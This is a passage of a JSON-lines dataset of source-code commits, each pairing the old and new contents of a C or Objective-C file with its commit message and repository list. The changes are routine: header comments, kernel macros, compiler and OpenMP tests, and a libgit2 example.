xEMACSemaphore;\r\n\r\n\r\nvoid vEMAC_ISR_Handler( void )\r\n{\r\nportBASE_TYPE xHigherPriorityTaskWoken = pdFALSE;\r\n\r\n    \/* Clear the interrupt. *\/\r\n    MAC_INTCLEAR = 0xffff;\r\n    VICVectAddr = 0;\r\n\r\n    \/* Ensure the uIP task is not blocked as data has arrived. *\/\r\n    xSemaphoreGiveFromISR( xEMACSemaphore, &xHigherPriorityTaskWoken );\r\n\r\n\tif( xHigherPriorityTaskWoken )\r\n    {\r\n    \t\/* Giving the semaphore woke a task. *\/\r\n        portYIELD_FROM_ISR();\r\n    }\r\n}\r\n\/*-----------------------------------------------------------*\/\r\n\r\nvoid vEMAC_ISR_Wrapper( void )\r\n{\r\n\t\/* Save the context of the interrupted task. *\/\r\n    portSAVE_CONTEXT();\r\n    \r\n    \/* Call the handler.  This must be a separate function unless you can\r\n    guarantee that no stack will be used. *\/\r\n    vEMAC_ISR_Handler();\r\n    \r\n    \/* Restore the context of whichever task is going to run next. *\/\r\n    portRESTORE_CONTEXT();\r\n}\r\n\r\n","subject":"Correct case of include file to build on Linux.","message":"Correct case of include file to build on Linux.\n\ngit-svn-id: 43aea61533866f88f23079d48f4f5dc2d5288937@402 1d2547de-c912-0410-9cb9-b8ca96c0e9e2\n","lang":"C","license":"apache-2.0","repos":"Psykar\/kubos,Psykar\/kubos,Psykar\/kubos,kubostech\/KubOS,Psykar\/kubos,Psykar\/kubos,kubostech\/KubOS,Psykar\/kubos,Psykar\/kubos"}
{"commit":"e77d038d2bed3605d18c83152402a5ddfd7255dd","old_file":"Classes\/SloppySwiper.h","new_file":"Classes\/SloppySwiper.h","old_contents":"\/\/\n\/\/  SloppySwiper.h\n\/\/\n\/\/  Created by Arkadiusz on 29-05-14.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface SloppySwiper : NSObject <UINavigationControllerDelegate>\n\n\/\/ Designated initializer if the class isn't set in the Interface Builder.\n- (instancetype)initWithNavigationController:(UINavigationController *)navigationController;\n\n@end\n","new_contents":"\/\/\n\/\/  SloppySwiper.h\n\/\/\n\/\/  Created by Arkadiusz on 29-05-14.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface SloppySwiper : NSObject <UINavigationControllerDelegate>\n\n\/\/\/ Gesture recognizer used to recognize swiping to the right.\n@property (weak, nonatomic) UIPanGestureRecognizer *panRecognizer;\n\n\/\/\/ Designated initializer if the class isn't used from the Interface Builder.\n- (instancetype)initWithNavigationController:(UINavigationController *)navigationController;\n\n@end\n","subject":"Improve comments in the header file","message":"Improve comments in the header file","lang":"C","license":"mit","repos":"toc2menow\/SloppySwiper,ssowonny\/SloppySwiper,stephenbalaban\/SloppySwiper,fastred\/SloppySwiper,msdgwzhy6\/SloppySwiper,igroomgrim\/SloppySwiper,barrettj\/SloppySwiper,yusuga\/SloppySwiper,xuvw\/SloppySwiper"}
{"commit":"ab734ec5a64b364fcf8aff3d91eea860887afc42","old_file":"onnxruntime\/core\/framework\/tensor_external_data_info.h","new_file":"onnxruntime\/core\/framework\/tensor_external_data_info.h","old_contents":"\/\/ Copyright (c) Microsoft Corporation. All rights reserved.\n\/\/ Licensed under the MIT License.\n#pragma once\n\n#include <string>\n#include \"core\/common\/status.h\"\n#include \"core\/graph\/onnx_protobuf.h\"\n#include \"core\/session\/onnxruntime_c_api.h\"\n\nnamespace onnxruntime {\nclass ExternalDataInfo {\n private:\n  std::basic_string<ORTCHAR_T> rel_path_;\n  \/\/-1 means doesn't exist\n  ptrdiff_t offset_;\n  \/\/-1 means doesn't exist\n  ptrdiff_t length_;\n  std::string checksum_;\n\n public:\n  const std::basic_string<ORTCHAR_T>& GetRelPath() const { return rel_path_; }\n\n  ptrdiff_t GetOffset() const { return offset_; }\n  ptrdiff_t GetLength() const { return length_; }\n\n  const std::string& GetChecksum() const { return checksum_; }\n\n  \/\/ If the value of 'offset' or 'length' field is larger the max value of ssize_t, this function will treat it as a\n  \/\/ wrong value and return FAIL.\n  static common::Status Create(const ::google::protobuf::RepeatedPtrField<::ONNX_NAMESPACE::StringStringEntryProto>& input,\n                               std::unique_ptr<ExternalDataInfo>& out);\n};\n}  \/\/ namespace onnxruntime","new_contents":"\/\/ Copyright (c) Microsoft Corporation. All rights reserved.\n\/\/ Licensed under the MIT License.\n#pragma once\n\n#include <string>\n#include \"core\/common\/status.h\"\n#include \"core\/graph\/onnx_protobuf.h\"\n#include \"core\/session\/onnxruntime_c_api.h\"\n\nnamespace onnxruntime {\nclass ExternalDataInfo {\n private:\n  std::basic_string<ORTCHAR_T> rel_path_;\n  ptrdiff_t offset_ = 0;\n  ptrdiff_t length_ = 0;\n  std::string checksum_;\n\n public:\n  const std::basic_string<ORTCHAR_T>& GetRelPath() const { return rel_path_; }\n\n  ptrdiff_t GetOffset() const { return offset_; }\n  ptrdiff_t GetLength() const { return length_; }\n\n  const std::string& GetChecksum() const { return checksum_; }\n\n  \/\/ If the value of 'offset' or 'length' field is larger the max value of ssize_t, this function will treat it as a\n  \/\/ wrong value and return FAIL.\n  static common::Status Create(const ::google::protobuf::RepeatedPtrField<::ONNX_NAMESPACE::StringStringEntryProto>& input,\n                               std::unique_ptr<ExternalDataInfo>& out);\n};\n}  \/\/ namespace onnxruntime","subject":"Fix a bug in ExternalDataInfo","message":"Fix a bug in ExternalDataInfo\n","lang":"C","license":"mit","repos":"microsoft\/onnxruntime,microsoft\/onnxruntime,microsoft\/onnxruntime,microsoft\/onnxruntime,microsoft\/onnxruntime,microsoft\/onnxruntime,microsoft\/onnxruntime,microsoft\/onnxruntime,microsoft\/onnxruntime,microsoft\/onnxruntime,microsoft\/onnxruntime,microsoft\/onnxruntime"}
{"commit":"ec2bf942662f8a8f1049b80208192691b64da6a5","old_file":"React\/Fabric\/Mounting\/ComponentViews\/ActivityIndicator\/RCTActivityIndicatorViewComponentView.h","new_file":"React\/Fabric\/Mounting\/ComponentViews\/ActivityIndicator\/RCTActivityIndicatorViewComponentView.h","old_contents":"\/**\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#import <UIKit\/UIKit.h>\n\n#import <React\/RCTViewComponentView.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n * UIView class for root <ShimmeringView> component.\n *\/\n@interface RCTActivityIndicatorViewComponentView : RCTViewComponentView\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/**\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#import <UIKit\/UIKit.h>\n\n#import <React\/RCTViewComponentView.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n * UIView class for root <ActivityIndicator> component.\n *\/\n@interface RCTActivityIndicatorViewComponentView : RCTViewComponentView\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Fix incorrect information in comment","message":"Fix incorrect information in comment\n\nSummary: `RCTActivityIndicatorViewComponentView` is a component for `ActivityIndicator` not for `ShimmeringView`.\n\nReviewed By: cpojer\n\nDifferential Revision: D16360505\n\nfbshipit-source-id: d6f7685eea24060c9e1b43d5782a65396d6c375e\n","lang":"C","license":"bsd-3-clause","repos":"exponentjs\/react-native,javache\/react-native,arthuralee\/react-native,janicduplessis\/react-native,janicduplessis\/react-native,hoangpham95\/react-native,javache\/react-native,facebook\/react-native,hammerandchisel\/react-native,janicduplessis\/react-native,facebook\/react-native,myntra\/react-native,exponent\/react-native,facebook\/react-native,hammerandchisel\/react-native,facebook\/react-native,janicduplessis\/react-native,exponentjs\/react-native,exponent\/react-native,pandiaraj44\/react-native,exponent\/react-native,exponent\/react-native,exponentjs\/react-native,hoangpham95\/react-native,exponentjs\/react-native,janicduplessis\/react-native,pandiaraj44\/react-native,exponentjs\/react-native,javache\/react-native,myntra\/react-native,exponent\/react-native,hammerandchisel\/react-native,hoangpham95\/react-native,hammerandchisel\/react-native,javache\/react-native,hammerandchisel\/react-native,hammerandchisel\/react-native,exponentjs\/react-native,hammerandchisel\/react-native,myntra\/react-native,pandiaraj44\/react-native,hoangpham95\/react-native,myntra\/react-native,exponent\/react-native,arthuralee\/react-native,arthuralee\/react-native,myntra\/react-native,javache\/react-native,pandiaraj44\/react-native,myntra\/react-native,hammerandchisel\/react-native,hoangpham95\/react-native,javache\/react-native,exponentjs\/react-native,janicduplessis\/react-native,javache\/react-native,javache\/react-native,hoangpham95\/react-native,myntra\/react-native,facebook\/react-native,facebook\/react-native,exponent\/react-native,myntra\/react-native,javache\/react-native,arthuralee\/react-native,myntra\/react-native,hoangpham95\/react-native,hoangpham95\/react-native,facebook\/react-native,pandiaraj44\/react-native,facebook\/react-native,arthuralee\/react-native,exponent\/react-native,facebook\/react-native,pandiaraj44\/react-native,janicduplessis\/react-native,exponentjs\/react-native,pandiaraj44\/react-native,janicduplessis\/react-native,pandiaraj44\/react-native"}
{"commit":"5bb717efd8b6fab5fa7bc324dce6b0a8e4261f86","old_file":"cc1\/tests\/test006.c","new_file":"cc1\/tests\/test006.c","old_contents":"","new_contents":"\/*\nname: TEST006\ndescription: Basic test for if\noutput:\nG1\tM\tc\nF1\nX2\tF1\tmain\nG2\tF1\tmain\t{\n-\n\tj\tL2\t#I0\t#I0\t=I\n\tyI\t#I1\n\tj\tL3\nL2\n\tj\tL4\t#I0\t#I0\t=I\n\tj\tL5\nL4\n\tj\tL6\t#I1\t#I0\t=I\n\tj\tL7\tG1\tMI\t#I0\t=I\n\tyI\t#I1\n\tj\tL8\nL7\n\tyI\t#I0\nL8\n\tj\tL9\nL6\n\tyI\t#I1\nL9\nL5\nL3\n\tyI\t#I1\n}\n*\/\n\nchar c;\n\nint\nmain()\n{\n\tif(0) {\n\t\treturn 1;\n\t} else if(0) {\n\t\t\/* empty *\/\n\t} else {\n\t\tif(1) {\n\t\t\tif(c)\n\t\t\t\treturn 1;\n\t\t\telse\n\t\t\t\treturn 0;\n\t\t} else {\n\t\t\treturn 1;\n\t\t}\n\t}\n\treturn 1;\n}\n\n","subject":"Add test of IF statement","message":"Add test of IF statement\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/kcc,8l\/scc,8l\/scc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc"}
{"commit":"03a057fa63e6f59cab6180bdf530558516c9da8d","old_file":"runtime\/test\/tasking\/nested_task_creation.c","new_file":"runtime\/test\/tasking\/nested_task_creation.c","old_contents":"","new_contents":"\/\/ RUN: %libomp-compile-and-run\n#include <stdio.h>\n#include <omp.h>\n#include \"omp_my_sleep.h\"\n\n\/*\n * This test creates tasks that themselves create a new task.\n * The runtime has to take care that they are correctly freed.\n *\/\n\nint main()\n{\n  #pragma omp task\n  {\n    #pragma omp task\n    {\n      my_sleep( 0.1 );\n    }\n  }\n\n  #pragma omp parallel num_threads(2)\n  {\n    #pragma omp single\n    #pragma omp task\n    {\n      #pragma omp task\n      {\n        my_sleep( 0.1 );\n      }\n    }\n  }\n\n  printf(\"pass\\n\");\n  return 0;\n}\n","subject":"Add test case for nested creation of tasks","message":"Add test case for nested creation of tasks\n\nFor discussion in D23115\n\ngit-svn-id: f99161ee8ccfe2101cbe1bdda2220bce2ed25485@277730 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp"}
{"commit":"817f72d680828bb848099adf69fd35c14ff2e182","old_file":"arch\/m68k\/include\/asm\/virtconvert.h","new_file":"arch\/m68k\/include\/asm\/virtconvert.h","old_contents":"#ifndef __VIRT_CONVERT__\n#define __VIRT_CONVERT__\n\n\/*\n * Macros used for converting between virtual and physical mappings.\n *\/\n\n#ifdef __KERNEL__\n\n#include <linux\/compiler.h>\n#include <linux\/mmzone.h>\n#include <asm\/setup.h>\n#include <asm\/page.h>\n\n\/*\n * Change virtual addresses to physical addresses and vv.\n *\/\nstatic inline unsigned long virt_to_phys(void *address)\n{\n\treturn __pa(address);\n}\n\nstatic inline void *phys_to_virt(unsigned long address)\n{\n\treturn __va(address);\n}\n\n\/* Permanent address of a page. *\/\n#ifdef CONFIG_MMU\n#ifdef CONFIG_SINGLE_MEMORY_CHUNK\n#define page_to_phys(page) \\\n\t__pa(PAGE_OFFSET + (((page) - pg_data_map[0].node_mem_map) << PAGE_SHIFT))\n#else\n#define page_to_phys(page)\t(page_to_pfn(page) << PAGE_SHIFT)\n#endif\n#else\n#define page_to_phys(page)\t(((page) - mem_map) << PAGE_SHIFT)\n#endif\n\n\/*\n * IO bus memory addresses are 1:1 with the physical address,\n *\/\n#define virt_to_bus virt_to_phys\n#define bus_to_virt phys_to_virt\n\n#endif\n#endif\n","new_contents":"#ifndef __VIRT_CONVERT__\n#define __VIRT_CONVERT__\n\n\/*\n * Macros used for converting between virtual and physical mappings.\n *\/\n\n#ifdef __KERNEL__\n\n#include <linux\/compiler.h>\n#include <linux\/mmzone.h>\n#include <asm\/setup.h>\n#include <asm\/page.h>\n\n\/*\n * Change virtual addresses to physical addresses and vv.\n *\/\nstatic inline unsigned long virt_to_phys(void *address)\n{\n\treturn __pa(address);\n}\n\nstatic inline void *phys_to_virt(unsigned long address)\n{\n\treturn __va(address);\n}\n\n\/* Permanent address of a page. *\/\n#if defined(CONFIG_MMU) && defined(CONFIG_SINGLE_MEMORY_CHUNK)\n#define page_to_phys(page) \\\n\t__pa(PAGE_OFFSET + (((page) - pg_data_map[0].node_mem_map) << PAGE_SHIFT))\n#else\n#define page_to_phys(page)\t(page_to_pfn(page) << PAGE_SHIFT)\n#endif\n\n\/*\n * IO bus memory addresses are 1:1 with the physical address,\n *\/\n#define virt_to_bus virt_to_phys\n#define bus_to_virt phys_to_virt\n\n#endif\n#endif\n","subject":"Correct page_to_phys when PAGE_OFFSET is non-zero.","message":"m68knommu: Correct page_to_phys when PAGE_OFFSET is non-zero.\n\nThe definition of page_to_phys for nommu produces an incorrect value when\nPAGE_OFFSET is non-zero.  The nommu version of page_to_pfn works correctly\nfor non-zero PAGE_OFFSET, so use that instead.\n\nSigned-off-by: Steven King <a01a09c207e33d02e60d4b67c9ce2ea5390b7812@fdwdc.com>\nSigned-off-by: Greg Ungerer <ed22c22dbde360207569092e60b4298397efb8da@uclinux.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"ff7f701a95cc88bd107de6b9082e398106482111","old_file":"include\/Support\/DataTypes.h","new_file":"include\/Support\/DataTypes.h","old_contents":"\/\/===-- include\/Support\/DataTypes.h - Define fixed size types ----*- C++ -*--=\/\/\n\/\/\n\/\/ This file contains definitions to figure out the size of _HOST_ data types.\n\/\/ This file is important because different host OS's define different macros,\n\/\/ which makes portability tough.  This file exports the following definitions:\n\/\/\n\/\/   LITTLE_ENDIAN: is #define'd if the host is little endian\n\/\/   int64_t      : is a typedef for the signed 64 bit system type\n\/\/   uint64_t     : is a typedef for the unsigned 64 bit system type\n\/\/\n\/\/ No library is required when using these functinons.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ TODO: This file sucks.  Not only does it not work, but this stuff should be\n\/\/ autoconfiscated anyways. Major FIXME\n\n\n#ifndef LLVM_SUPPORT_DATATYPES_H\n#define LLVM_SUPPORT_DATATYPES_H\n\n#include <inttypes.h>\n\n#ifdef LINUX\n#define __STDC_LIMIT_MACROS 1\n#include <stdint.h>       \/\/ Defined by ISO C 99\n#include <endian.h>\n\n#else\n#include <sys\/types.h>\n#ifdef _LITTLE_ENDIAN\n#define LITTLE_ENDIAN 1\n#endif\n#endif\n\n#endif\n","new_contents":"\/\/===-- include\/Support\/DataTypes.h - Define fixed size types ----*- C++ -*--=\/\/\n\/\/\n\/\/ This file contains definitions to figure out the size of _HOST_ data types.\n\/\/ This file is important because different host OS's define different macros,\n\/\/ which makes portability tough.  This file exports the following definitions:\n\/\/\n\/\/   LITTLE_ENDIAN: is #define'd if the host is little endian\n\/\/   int64_t      : is a typedef for the signed 64 bit system type\n\/\/   uint64_t     : is a typedef for the unsigned 64 bit system type\n\/\/\n\/\/ No library is required when using these functinons.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ TODO: This file sucks.  Not only does it not work, but this stuff should be\n\/\/ autoconfiscated anyways. Major FIXME\n\n\n#ifndef LLVM_SUPPORT_DATATYPES_H\n#define LLVM_SUPPORT_DATATYPES_H\n\n#include <inttypes.h>\n\n#ifdef __linux__\n#define __STDC_LIMIT_MACROS 1\n#include <stdint.h>       \/\/ Defined by ISO C 99\n#include <endian.h>\n\n#else\n#include <sys\/types.h>\n#ifdef _LITTLE_ENDIAN\n#define LITTLE_ENDIAN 1\n#endif\n#endif\n\n#endif\n","subject":"Add better linux support by using the right macro. This still should be autoconfiscated, but for now this is sufficient.","message":"Add better linux support by using the right macro.  This still should be\nautoconfiscated, but for now this is sufficient.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@3701 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"b5ba1b31c793185d6e0ee62c1928c84bcff9818e","old_file":"include\/asm-sparc64\/setup.h","new_file":"include\/asm-sparc64\/setup.h","old_contents":"\/*\n *\tJust a place holder. \n *\/\n\n#ifndef _SPARC64_SETUP_H\n#define _SPARC64_SETUP_H\n\n#define COMMAND_LINE_SIZE\t256\n\n#endif \/* _SPARC64_SETUP_H *\/\n","new_contents":"\/*\n *\tJust a place holder. \n *\/\n\n#ifndef _SPARC64_SETUP_H\n#define _SPARC64_SETUP_H\n\n#define COMMAND_LINE_SIZE\t2048\n\n#endif \/* _SPARC64_SETUP_H *\/\n","subject":"Increase command line size to 2048 like other arches.","message":"[SPARC64]: Increase command line size to 2048 like other arches.\n\nSigned-off-by: David S. Miller <fe08d3c717adf2ae63592e4c9aec6e3e404d8e3e@davemloft.net>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"ccf1eb48c779fc3ebeda4fdd90eef1132f8a9734","old_file":"include\/ygo\/data\/CardData.h","new_file":"include\/ygo\/data\/CardData.h","old_contents":"#ifndef YGO_DATA_CARDDATA_H\n#define YGO_DATA_CARDDATA_H\n\n#include <string>\n\n#include \"CardType.h\"\n\nnamespace ygo\n{\nnamespace data\n{\n\nstruct StaticCardData\n{\n    std::string name;\n    CardType cardType;\n    \/\/ monster only\n    Attribute attribute;\n    MonsterType monsterType;\n    Type type;\n    MonsterType monsterAbility;\n    int level;\n    int attack;\n    int defense;\n    int lpendulum;\n    int rpendulum;\n    \/\/ spell and trap only\n    SpellType spellType;\n    TrapType trapType;\n    std::string text;\n};\n\n}\n}\n\n#endif\n","new_contents":"#ifndef YGO_DATA_CARDDATA_H\n#define YGO_DATA_CARDDATA_H\n\n#include <string>\n\n#include \"CardType.h\"\n\nnamespace ygo\n{\nnamespace data\n{\n\nstruct StaticCardData\n{\n    std::string name;\n    CardType cardType;\n    \/\/ monster only\n    Attribute attribute;\n    MonsterType monsterType;\n    Type type;\n    MonsterType monsterAbility;\n    int level;\n    int attack;\n    int defense;\n    int lpendulum;\n    int rpendulum;\n    \/\/ spell and trap only\n    SpellType spellType;\n    TrapType trapType;\n    \/\/ card text\n    std::string text;\n};\n\n}\n}\n\n#endif\n","subject":"Clarify data in static card data","message":"Clarify data in static card data\n","lang":"C","license":"mit","repos":"DeonPoncini\/ygodata"}
{"commit":"0676fd9376ac95da74f5091fd21ac93769b2275f","old_file":"arch\/amiga\/isa\/isa_machdep.c","new_file":"arch\/amiga\/isa\/isa_machdep.c","old_contents":"","new_contents":"\/*\t$OpenBSD: isa_machdep.c,v 1.4 1999\/03\/05 19:17:44 niklas Exp $\t*\/\n\n\/*\n * Copyright (c) 1999 Niklas Hallqvist\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n *    must display the following acknowledgement:\n *      This product includes software developed by Niklas Hallqvist.\n * 4. The name of the author may not be used to endorse or promote products\n *    derived from this software without specific prior written permission\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <sys\/types.h>\n#include <sys\/systm.h>\n#include <sys\/device.h>\n\n#include <machine\/intr.h>\n\n#include <dev\/isa\/isareg.h>\n#include <dev\/isa\/isavar.h>\n\n\/*\n * Just check to see if an IRQ is available\/can be shared.\n * 0 = interrupt not available\n * 1 = interrupt shareable\n * 2 = interrupt all to ourself\n *\/\nint\n__isa_intr_check(irq, type, intrtype)\n\tint irq;\n\tint type;\n\tint *intrtype;\n{\n\tif (type == IST_NONE)\n\t\treturn (0);\n\n\tswitch (intrtype[irq]) {\n\tcase IST_NONE:\n\t\treturn (2);\n\t\tbreak;\n\tcase IST_LEVEL:\n\t\tif (type != intrtype[irq])\n\t\t\treturn (0);\n\t\treturn (1);\n\t\tbreak;\n\tcase IST_EDGE:\n\tcase IST_PULSE:\n\t\tif (type != IST_NONE)\n\t\t\treturn (0);\n\t}\n\treturn (1);\n}\n\n","subject":"Add forgotten file, espie@ has checked it compiles","message":"Add forgotten file, espie@ has checked it compiles\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"1d76413d676c592f8d0bd1eb288f0e69fff61f7e","old_file":"pq-crypto\/pq-random.c","new_file":"pq-crypto\/pq-random.c","old_contents":"\/*\n * Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\").\n * You may not use this file except in compliance with the License.\n * A copy of the License is located at\n *\n *  http:\/\/aws.amazon.com\/apache2.0\n *\n * or in the \"license\" file accompanying this file. This file is distributed\n * on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied. See the License for the specific language governing\n * permissions and limitations under the License.\n *\/\n#include <sys\/param.h>\n\n#include \"pq-crypto\/pq-random.h\"\n\n#include \"utils\/s2n_mem.h\"\n\n\nstatic int (*random_data_generator)(struct s2n_blob *) = &s2n_get_private_random_data;\n\nint initialize_pq_crypto_generator(int (*generator_ptr)(struct s2n_blob *))\n{\n    if (generator_ptr == NULL) {\n        return -1;\n    }\n    random_data_generator = generator_ptr;\n    return 0;\n}\n\nint get_random_bytes(OUT unsigned char *buffer, unsigned int num_bytes)\n{\n    struct s2n_blob out = {.data = buffer,.size = num_bytes };\n    return random_data_generator(&out);\n}\n","new_contents":"\/*\n * Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\").\n * You may not use this file except in compliance with the License.\n * A copy of the License is located at\n *\n *  http:\/\/aws.amazon.com\/apache2.0\n *\n * or in the \"license\" file accompanying this file. This file is distributed\n * on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied. See the License for the specific language governing\n * permissions and limitations under the License.\n *\/\n#include <stdlib.h>\n#include <sys\/param.h>\n\n#include \"pq-crypto\/pq-random.h\"\n\n#include \"utils\/s2n_mem.h\"\n\n\nstatic int (*random_data_generator)(struct s2n_blob *) = &s2n_get_private_random_data;\n\nint initialize_pq_crypto_generator(int (*generator_ptr)(struct s2n_blob *))\n{\n    if (generator_ptr == NULL) {\n        return -1;\n    }\n    random_data_generator = generator_ptr;\n    return 0;\n}\n\nint get_random_bytes(OUT unsigned char *buffer, unsigned int num_bytes)\n{\n    struct s2n_blob out = {.data = buffer,.size = num_bytes };\n    return random_data_generator(&out);\n}\n","subject":"Enable compiling with older versions of GCC","message":"Enable compiling with older versions of GCC\n","lang":"C","license":"apache-2.0","repos":"awslabs\/s2n,colmmacc\/s2n,wcs1only\/s2n,colmmacc\/s2n,PKRoma\/s2n,gibson-compsci\/s2n,wcs1only\/s2n,awslabs\/s2n,alexeblee\/s2n,raycoll\/s2n,PKRoma\/s2n,wcs1only\/s2n,gibson-compsci\/s2n,raycoll\/s2n,colmmacc\/s2n,gibson-compsci\/s2n,raycoll\/s2n,awslabs\/s2n,PKRoma\/s2n,wcs1only\/s2n,colmmacc\/s2n,PKRoma\/s2n,awslabs\/s2n,raycoll\/s2n,alexeblee\/s2n,alexeblee\/s2n,alexeblee\/s2n,wcs1only\/s2n,raycoll\/s2n,awslabs\/s2n,alexeblee\/s2n,PKRoma\/s2n,PKRoma\/s2n,wcs1only\/s2n,colmmacc\/s2n,colmmacc\/s2n,alexeblee\/s2n,raycoll\/s2n,wcs1only\/s2n,gibson-compsci\/s2n,awslabs\/s2n,gibson-compsci\/s2n,gibson-compsci\/s2n,wcs1only\/s2n,PKRoma\/s2n,PKRoma\/s2n"}
{"commit":"c3bc56209f8df216b4cfc6db86b36b1429fac35b","old_file":"git_test.c","new_file":"git_test.c","old_contents":"","new_contents":"#include <git2.h>\n#include <stdio.h>\n\nint main(int argc, char const *argv[])\n{\n\tgit_libgit2_init();\n\n\tconst char *GIT_REPO_PATH = \".\";\n\n\tgit_repository *repo = NULL;\n\tgit_repository_open(&repo, GIT_REPO_PATH);\n\n\tgit_revwalk *walker = NULL;\n\tgit_revwalk_new(&walker, repo);\n\n\tgit_revwalk_sorting(walker, GIT_SORT_NONE);\n\n\tgit_revwalk_push_head(walker);\n\n\tgit_oid oid;\n\twhile (!git_revwalk_next(&oid, walker))\n\t{\n\t\tgit_commit *commit = NULL;\n\t\tgit_commit_lookup(&commit, repo, &oid);\n\n\t\tprintf(\"%s %s\\n\", git_oid_tostr_s(&oid), git_commit_summary(commit));\n\n\t\tgit_commit_free(commit);\n\t}\n\n\tgit_revwalk_free(walker);\n\tgit_repository_free(repo);\n\n\tgit_libgit2_shutdown();\n\n\treturn 0;\n}\n","subject":"Add libgit2 example to print all commit history inside current directory.","message":"Add libgit2 example to print all commit history inside current\ndirectory.\n\nCompile with:\n\ngcc git_test.c -o git_test -lgit2\n","lang":"C","license":"apache-2.0","repos":"tisma\/ctorious,tisma\/ctorious"}
